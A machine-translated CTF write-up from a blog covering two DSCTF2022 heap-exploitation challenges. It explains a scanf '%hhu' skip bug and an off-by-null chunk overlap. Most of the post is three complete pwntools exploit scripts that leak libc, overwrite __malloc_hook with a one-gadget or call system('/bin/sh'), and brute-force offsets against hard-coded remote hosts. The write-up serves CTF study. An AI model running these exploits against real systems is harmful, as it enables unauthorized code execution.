当前位置:网站首页>[dsctf2022] PWN supplementary question record
[dsctf2022] PWN supplementary question record
2022-07-26 15:47:00 【Assassin__ is__ me】
fuzzerinstrospector
The function of the topic is easy to analyze , But I haven't seen the loophole before , According to the procedure flow, it is found that scanf("%hhu"&x); Vulnerability , You can skip writing content every time you apply for a new heap , Keep the value of the original heap .%hhu representative unsigned char, In the input for the ± When it comes to symbols , Input is skipped , And does not affect the subsequent program flow
My solution to the problem
- First step : apply 9 Heaps , Then release 9 Heaps , Give Way tcache The queue of is full
- The second step : apply 7 Heaps , This is the time tcache Will approach at the beginning top chunk Of 7、8 Number heap for merging , And retain main_arena Address
- The third step : utilize scanf Vulnerability retention main_arena value , And through map The watch is leaking
- Step four : Use hidden functions to realize system Function call
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def FuzzerBitmap_Creatio(index,content,bitmap,mod):
conn.recvuntil("Your choice:")
conn.sendline("1")
conn.recvuntil("Index:")
conn.sendline(str(index))
for i in range(0,8):
conn.recvuntil(":")
if mod:
conn.sendline(str(ord(content[i])))
else:
conn.sendline(content[i])
conn.recvuntil("Bitmap:")
conn.send(bitmap.ljust(0x100,"\x00"))
def Edit_FuzzerBitmap(index,content,bitmap):
conn.recvuntil("Your choice:")
conn.sendline("2")
conn.recvuntil("Index:")
conn.sendline(str(index))
for i in range(0,8):
conn.recvuntil(":")
conn.sendline(str(ord(content[i])))
conn.recvuntil("Bitmap:")
conn.send(bitmap.ljust(0x100,"\x00"))
def Check_FuzzerBitmap(index):
conn.recvuntil("Your choice:")
conn.sendline("3")
conn.recvuntil("Index:")
conn.sendline(str(index))
def Delete_FuzzerBitmap(index):
conn.recvuntil("Your choice:")
conn.sendline("4")
conn.recvuntil("Index:")
conn.sendline(str(index))
def Attack(paylaod):
conn.recvuntil("Your choice:")
conn.sendline("6")
conn.sendline(str(paylaod))
if __name__ == '__main__':
HOST = '39.105.185.193'
PORT = 30007
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so','./ciscn_final_3'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'})
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./mrctf2020_shellcode_revenge'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./fuzzerinstrospector")
#pwnlib.gdb.attach(conn,"b main") #b *0x400ECF
pause()
table = ""
for i in range(0,256):
table += chr(i)
FuzzerBitmap_Creatio(0,"A"*8,table,1)
FuzzerBitmap_Creatio(1,"B"*8,table,1)
FuzzerBitmap_Creatio(2,"C"*8,table,1)
FuzzerBitmap_Creatio(3,"D"*8,table,1)
FuzzerBitmap_Creatio(4,"D"*8,table,1)
FuzzerBitmap_Creatio(5,"D"*8,table,1)
FuzzerBitmap_Creatio(6,"D"*8,table,1)
FuzzerBitmap_Creatio(7,"D"*8,table,1)
FuzzerBitmap_Creatio(8,"D"*8,table,1)
Delete_FuzzerBitmap(0)
Delete_FuzzerBitmap(1)
Delete_FuzzerBitmap(2)
Delete_FuzzerBitmap(3)
Delete_FuzzerBitmap(4)
Delete_FuzzerBitmap(5)
Delete_FuzzerBitmap(6)
Delete_FuzzerBitmap(7)
Delete_FuzzerBitmap(8)
FuzzerBitmap_Creatio(0,"+"*8,table,0)
FuzzerBitmap_Creatio(1,"+"*8,table,0)
FuzzerBitmap_Creatio(2,"+"*8,table,0)
FuzzerBitmap_Creatio(3,"+"*8,table,0)
FuzzerBitmap_Creatio(4,"+"*8,table,0)
FuzzerBitmap_Creatio(5,"+"*8,table,0)
FuzzerBitmap_Creatio(6,"+"*8,table,0)
FuzzerBitmap_Creatio(7,"+"*8,table,0)
#FuzzerBitmap_Creatio(8,"+"*8,table,0)
Check_FuzzerBitmap(7)
conn.recvuntil("Bitmap set:")
main_arena_leak = ""
for x in range(8):
conn.recvuntil("Bit: ")
one_bit = conn.recvuntil("\n",drop=True)
main_arena_leak += chr(int(one_bit))
main_arena_leak = u64(main_arena_leak)
print "The main_arena_leak is",hex(main_arena_leak)
libc = LibcSearcher("__malloc_hook",main_arena_leak - 96 -0x10)
libc_base = main_arena_leak - 96 -0x10 - libc.dump("__malloc_hook")
onegadget = libc_base + 0x4f302
system = libc_base + libc.dump("system")
print "The libc base is",hex(libc_base)
print "The onegadget is",hex(onegadget)
Edit_FuzzerBitmap(0,"/bin/sh\x00",table)
Attack(system)
pause()
conn.interactive()
rusty( Unexpected solution )
When I came across this problem, I was really confused ,rust The program has not been touched , Basically, they are binary files without symbols , The analysis is complicated . Now let's talk in detail about my problem-solving journey after the competition
First step : First, you need to locate the main function of the program , And understand the main functions of the program
Omit the analysis process , Actually from main Functions can be positioned all the way , The position of the key function is 0xC3F0 Location , Review from top to bottom , It can be seen that the first input should not be greater than 4 The number of . In the future, it is used because of disassembly display JMP Make a jump , therefore IDA It doesn't work out , I have no static analysis , Mainly rely on dynamic debugging for testing , Finally, the main functions and characteristics of the function are obtained
- function 1: Create heap blocks , The size of the application heap block does not exceed 0x100, And after review, it uses calloc function , So the requested heap block will format the contents of the heap ( This leads to conventional leak libc More difficult )
- function 2: Edit heap block , After testing, this editing function has a bit overflow , We can construct off-by-one Or is it off-by-null
- function 3: Release heap block , Found by testing , We cannot directly operate which heap block to release , The program will move forward according to the order of the application stack free Heaps ( Unable to manipulate which heap block to release makes heap overflow more difficult )
- function 4: Print the contents of the heap , The premise is that the stack must exist , non-existent UAF utilize
- Above 4 Features , As long as you encounter parts that do not conform to the procedure flow , Will directly exit
After a detailed understanding , Discover the use of off-by-one Realization overlapping It's very difficult , Mainly because free Can't control ,off-by-one It is basically backward operation , Therefore, other methods need to be considered .
after Loτυs Master's advice , Discovery still needs to be used off-by-null Methods
You can read the master's original , I will analyze the principle in detail here
https://blog.csdn.net/Invin_cible/article/details/125812355?spm=1001.2014.3001.5501
Because there is no environment , I mainly implement local testing , First, the overall program code
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def cteate_heap(size):
conn.recvuntil("Command:")
conn.sendline("1")
conn.recvuntil("Size:")
conn.sendline(str(size))
def edit_heap(index,len,content):
conn.recvuntil("Command:")
conn.sendline("2")
conn.recvuntil("Idx:")
conn.sendline(str(index))
conn.recvuntil("Len:")
conn.sendline(str(len))
conn.recvuntil("Data:")
conn.sendline(str(content))
def free_heap():
conn.recvuntil("Command:")
conn.sendline("3")
def show_heap(index):
conn.recvuntil("Command:")
conn.sendline("4")
conn.recvuntil("Idx:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26100
#conn = remote(HOST ,PORT)
conn = process("./rusty")
#pwnlib.gdb.attach(conn,"b main") #b *0x400ECF
pause()
''' First step : Through the construction, the size is 0x88、0x100、0x68, The first tcache fill '''
[cteate_heap(0x88) for x in range(7)] #0-6
# This is used here. 9 individual 0x100 Pile up , I just want to merge the remaining two into 0x200 The size of unsorted bin
[cteate_heap(0x100) for x in range(9)] #7-15
# This is used here. 8 individual 0x68 Pile up , Is to have a place fastbin in , And in the follow-up to find ways to use it to achieve fastbin attack
[cteate_heap(0x68) for x in range(8)] #16-23
[free_heap() for x in range(17)]
''' The second step : There is 0x200 The size of unsorted bin, apply 2 Heap so that the remaining one is cut to a size of 0x90 The block ( Including head ), In order to continue to apply continuously in the future, the size is 0xf8 The heap of '''
cteate_heap(0x88) #7
cteate_heap(0x100) #8
''' The third step : Continuous application 9 individual 0xf8 The heap of , Release 7 individual , Then by tampering with the 2 Heap content implementation off-by-null'''
[cteate_heap(0xf8) for x in range(9)] #9-17
[free_heap() for x in range(7)]
payload = "\x00"*0xf0 + p64(0x80+0x110*7+0x70*8+0x100) + "\x00"
edit_heap(9,len(payload),payload)
free_heap() #off by null success!!! free 10!!!
''' Step four : This step suddenly looks at why the structure is so complex ? In order to stagger the original pair structure , Make the newly generated stack head in the middle of the original stack '''
cteate_heap(0x70) #10
[cteate_heap(0x100) for x in range(6)] #11-16
[cteate_heap(0xa0) for x in range(2)] #17-18
[cteate_heap(0xc8) for x in range(4)] #19-22
show_heap(9)
conn.recvuntil("\x7f")
conn.recv(2)
leak = conn.recvuntil("\x7f")
leak = leak.decode("utf-8").ljust(8,"\x00")
leak = u64(leak)
print "The libc leak is",hex(leak)
__malloc_hook = leak - 96 - 0x10
libc = LibcSearcher("__malloc_hook",__malloc_hook)
libc_base = __malloc_hook - libc.dump("__malloc_hook")
one_gadget = libc_base + 0x4f302
realloc = libc_base + libc.dump("realloc")
print "The malloc hook is",hex(__malloc_hook)
print "The libc base is",hex(libc_base)
print "The onegadget is",hex(one_gadget)
''' Step five : Modify the stack content of the new application , Realization fastbin attack'''
cteate_heap(0xa0) #23
cteate_heap(0x90) #24
cteate_heap(0x90) #25
payload = "\x00"*0x58 + p64(0x71)+p64(__malloc_hook-0x23) #18
edit_heap(18,len(payload),payload)
show_heap(9)
cteate_heap(0x68) #26
cteate_heap(0x68) #27
''' Step six : modify malloc hook Realization onegadget'''
payload = "\x00"*0xb + p64(0) + p64(one_gadget)
edit_heap(27,len(payload),payload)
pause()
conn.interactive()
Then we will explain it step by step
First step : Through the construction, the size is 0x88、0x100、0x68, The first tcache fill
Through the first step, construct , At this time, our heap space is like this
|------------------------|
| 7 individual 0x90 |
|------------------------| # Here are the following ↓ Are released , above ↑ Is not released
| 2 individual 0x110 | # these two items. 0x110 The heaps of are merged into one 0x220 Of unsorted bin
|------------------------|
| 7 individual 0x110 | # This place is filled with tcache
|------------------------|
| 8 individual 0x70 | # This place is filled with tcache
|------------------------|

The second step : There is 0x220 The size of unsorted bin, apply 2 Heap so that the remaining one is cut to a size of 0x80 The block ( Including head )
This step is necessary , Because we will give priority to apply for stacking blocks from unsorted bin Last application , For the following normal application size 0xf8 The heap of , You must put this first 0x220 The cutting of pile block becomes smaller , Until less than 0x100
The third step : Continuous application 9 individual 0xf8 The heap of , Release 7 individual , Then by tampering with the 2 Heap content implementation off-by-null
stay [free_heap() for x in range(7)] after , Our heap space has become
|------------------------|
| 7 individual 0x90 |
|------------------------| # Here are the following ↓ Are released , above ↑ Is not released
| 0x90 | # For cutting 0x220 Of unsorted bin
|------------------------|
| 0x110 | # For cutting 0x220 Of unsorted bin
|------------------------|
| 0x80 | # Remaining after cutting 0x80 Of unsorted bin
|------------------------|
| 7 individual 0x110 | # Filled with tcache
|------------------------|
| 8 individual 0x70 | # Filled with tcache, And generate a fastbin
|------------------------|
| 2 individual 0x100 | # These two have not been released , Used to implement off-by-one
|------------------------|
| 7 individual 0x100 | # Filled with tcache
|------------------------|
By modifying section 9 Block , Influence the second 10 Block , After calculation, it makes pre_size Point to the cut unsorted bin, The specific calculation process should be very clear from the code
stay free(10) after , The heap structure becomes
|------------------------|
| 7 individual 0x90 |
|------------------------| # Here are the following ↓ Are released , above ↑ Is not released
| 0x90 | # For cutting 0x220 Of unsorted bin
|------------------------|
| 0x110 | # For cutting 0x220 Of unsorted bin
|------------------------|
| Merged blocks | # The merged content , The size is 0x80 + 7*0x110 + 8*0x70 + 2*0x100, What we haven't been released is the heap 9, Position in 0x80 + 7*0x110 + 8*0x70
|------------------------|
| 7 individual 0x100 | # Filled with tcache
|------------------------|
Step four : Keep applying for blocks , Make it big unsorted bin Cut to and 9 Block level
There is a big hole in this step , In the process of cutting , You need to avoid the original stack of new applications , Otherwise, the original heap structure will be destroyed and an error will be reported , That's why there are so many applications
cteate_heap(0x70) #10
[cteate_heap(0x100) for x in range(6)] #11-16
[cteate_heap(0xa0) for x in range(2)] #17-18
[cteate_heap(0xc8) for x in range(4)] #19-22
show_heap(9)
Then it can be revealed libc Address
Step five : Realization fastbin attack
Don't say much about this , The newly applied stack block is modified in fastbin Lumps on the chain , Realization fastbin attack, stay malloc hook modify onegadget
So far, the local debugging is over , The boss said that local transfer is very simple , Because there are other problems …
Pits in the real environment 1: Reactor Feng Shui
The boss said that there was also a problem of piling Feng Shui in the real environment , He configured the environment as ubuntu18 to update libc To test the , Solved the Feng Shui problem
Pits in the real environment 2:malloc hook Find an applicant nearby \x7f Different from local
The boss said that the memory address situation is also different from that of the local , The blasting method used by the boss , And it worked . Record the code of the boss
from pickle import TRUE
from pwn import *
from time import sleep
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/home/cru5h/bin/2022/11/rusty')
# r = remote('39.105.187.159',30008)
libc = ELF('/home/cru5h/bin/2022/11/libc-2.27.so')
def menu(choice):
r.recvuntil(b'Command:')
r.sendline(str(choice))
def add(size):
menu(1)
r.recvuntil(b'Size: ')
r.sendline(str(size))
def edit(index,size,content):
menu(2)
r.recvuntil(b'Idx: ')
r.sendline(str(index))
r.recvuntil(b'Len: ')
r.sendline(str(size))
r.recvuntil(b'Data: ')
r.sendline(content)
def delete():
menu(3)
def show(index):
menu(4)
r.recvuntil(b'Idx: ')
r.sendline(str(index))
def pwn(i):
r.recvuntil(b'Let\'s build a rusty house!\n')
stack_addr = int(r.recvuntil(b'\n')[:-1],16)
[add(0x88) for i in range(8)] #0-7
[add(0x100) for i in range(9)]#8-16
[add(0x68) for k in range(8)]#17-24
[delete() for j in range(17)]
add(0x80)#8
add(0x100)#9
[add(0xf8) for k in range(9)]#10-18
[delete() for l in range(7)]
edit(10,0xf9,b'a'*0xf0+p64(0xc70)+b'\x00')#9-11 exists
delete()
add(0x70)#11
[add(0x100) for o in range(6)]#12-17
add(0xf0)#18
[add(0x60*2) for o in range(4)]#19-22
add(0x40)#23
show(10)
r.recvuntil(b'Data: ')
# something= r.recvuntil(b'\x7f')[-6:].decode('utf8')
# print(something)
r.recv(2)
# res = r.recvuntil(b'\x7f')
# print(res)
# print(len(res))
# libc_base = u64(res.ljust(8,'\x00')) - 0x3ebca0
libc_base = u64(r.recvuntil(b'\x7f').decode('utf8').ljust(8,'\x00'))
libc_base = (libc_base<<8)+0xa0-0x3ebca0
print(hex(libc_base))
one_gadget = libc_base+0x4f302
malloc_hook = libc_base+libc.sym["__malloc_hook"]
print(hex(malloc_hook))
# edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8))
edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8 - 0x48 +i))
# gdb.attach(r)
add(0x60)#24
add(0x68)#25
edit(25,0x20+0x48-i,b'g'*(0xb-8 +0x48-i)+p64(one_gadget))
# pause()
# log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
menu(1)
r.interactive()
for i in range(0x60):
r = remote('39.105.187.159',30008)
try:
print(i)
pwn(i)
except EOFError:
r.close()
————————————————
Copyright notice : This paper is about CSDN Blogger 「Loτυs」 The original article of , follow CC 4.0 BY-SA Copyright agreement , For reprint, please attach the original source link and this statement .
Link to the original text :https://blog.csdn.net/Invin_cible/article/details/125812355
I really have to say Loτυs It's really strong , So that I think this unexpected solution is better than standing rust The structure is much stronger …orz…
边栏推荐
- Tool skill learning (I): pre skills -makfile, make,.Mk
- Familiarize you with the "phone book" of cloud network: DNS
- API 版本控制【 Eolink 翻译】
- 关于我写的IDEA插件能一键生成service,mapper....这件事(附源码)
- R language uses LM function to build multiple linear regression model, writes regression equation according to model coefficient, and uses fitted function to calculate y value (response value) vector
- How to convert planning map into vector data with longitude and latitude geojson
- Credit card number recognition (openCV, code analysis)
- Tool skill learning (II): pre skills shell
- Quanzhi a40i industrial core board, 100% domestic 4-core arm cortex-a7, supports "dual screen abnormal display" [display interface capability, preferred scheme for industrial HMI]
- Cs224w (Figure machine learning) 2021 winter course learning notes 5
猜你喜欢
![[expdp export data] expdp exports a table with 23 rows of records and no lob field. It takes 48 minutes. Please help us have a look](/img/ee/7bec8211dddc90e52c2bc0f56c8dd4.png)
[expdp export data] expdp exports a table with 23 rows of records and no lob field. It takes 48 minutes. Please help us have a look

81.(cesium之家)cesium修改灰色背景(默认蓝色)

Data preprocessing of data mining

API 版本控制【 Eolink 翻译】

Digital commerce cloud: lead the digital upgrading of chemical industry and see how Mobei can quickly open up the whole scene of mutual integration and interoperability

数据中台、BI业务访谈(四)—— 十个问题看本质
FTP协议

Digital warehouse: iqiyi digital warehouse platform construction practice

FOC learning notes - coordinate transformation and simulation verification

FOC电机控制基础
随机推荐
MYSQL 命令大全
持续集成(一)基本概念简要介绍
VS2019Debug模式太卡进不去断点
什么是传输层协议TCP/UDP???
PS + PL heterogeneous multicore case development manual for Ti C6000 tms320c6678 DSP + zynq-7045 (3)
Sword finger offer II 009. subarray with product less than k
FOC学习笔记-坐标变换以及仿真验证
Pytorch installation CUDA corresponding
Zynq PS + PL heterogeneous multicore Case Development Manual of Ti C6000 tms320c6678 DSP + zynq-7045 (1)
FOC motor control foundation
QCF for deep packet inspection paper summary
Soft test (VII) performance test (1) brief introduction
我们被一个 kong 的性能 bug 折腾了一个通宵
Data preprocessing of data mining
Detailed explanation of nat/napt address translation (internal and external network communication) technology [Huawei ENSP]
Sqldeveloper tools quick start
R language uses LM function to build multiple linear regression model, writes regression equation according to model coefficient, and uses fitted function to calculate y value (response value) vector
TI C6000 TMS320C6678 DSP+ Zynq-7045的ZYNQ PS + PL异构多核案例开发手册(1)
Using two stacks to implement a queue
QT is the most basic layout, creating a window interface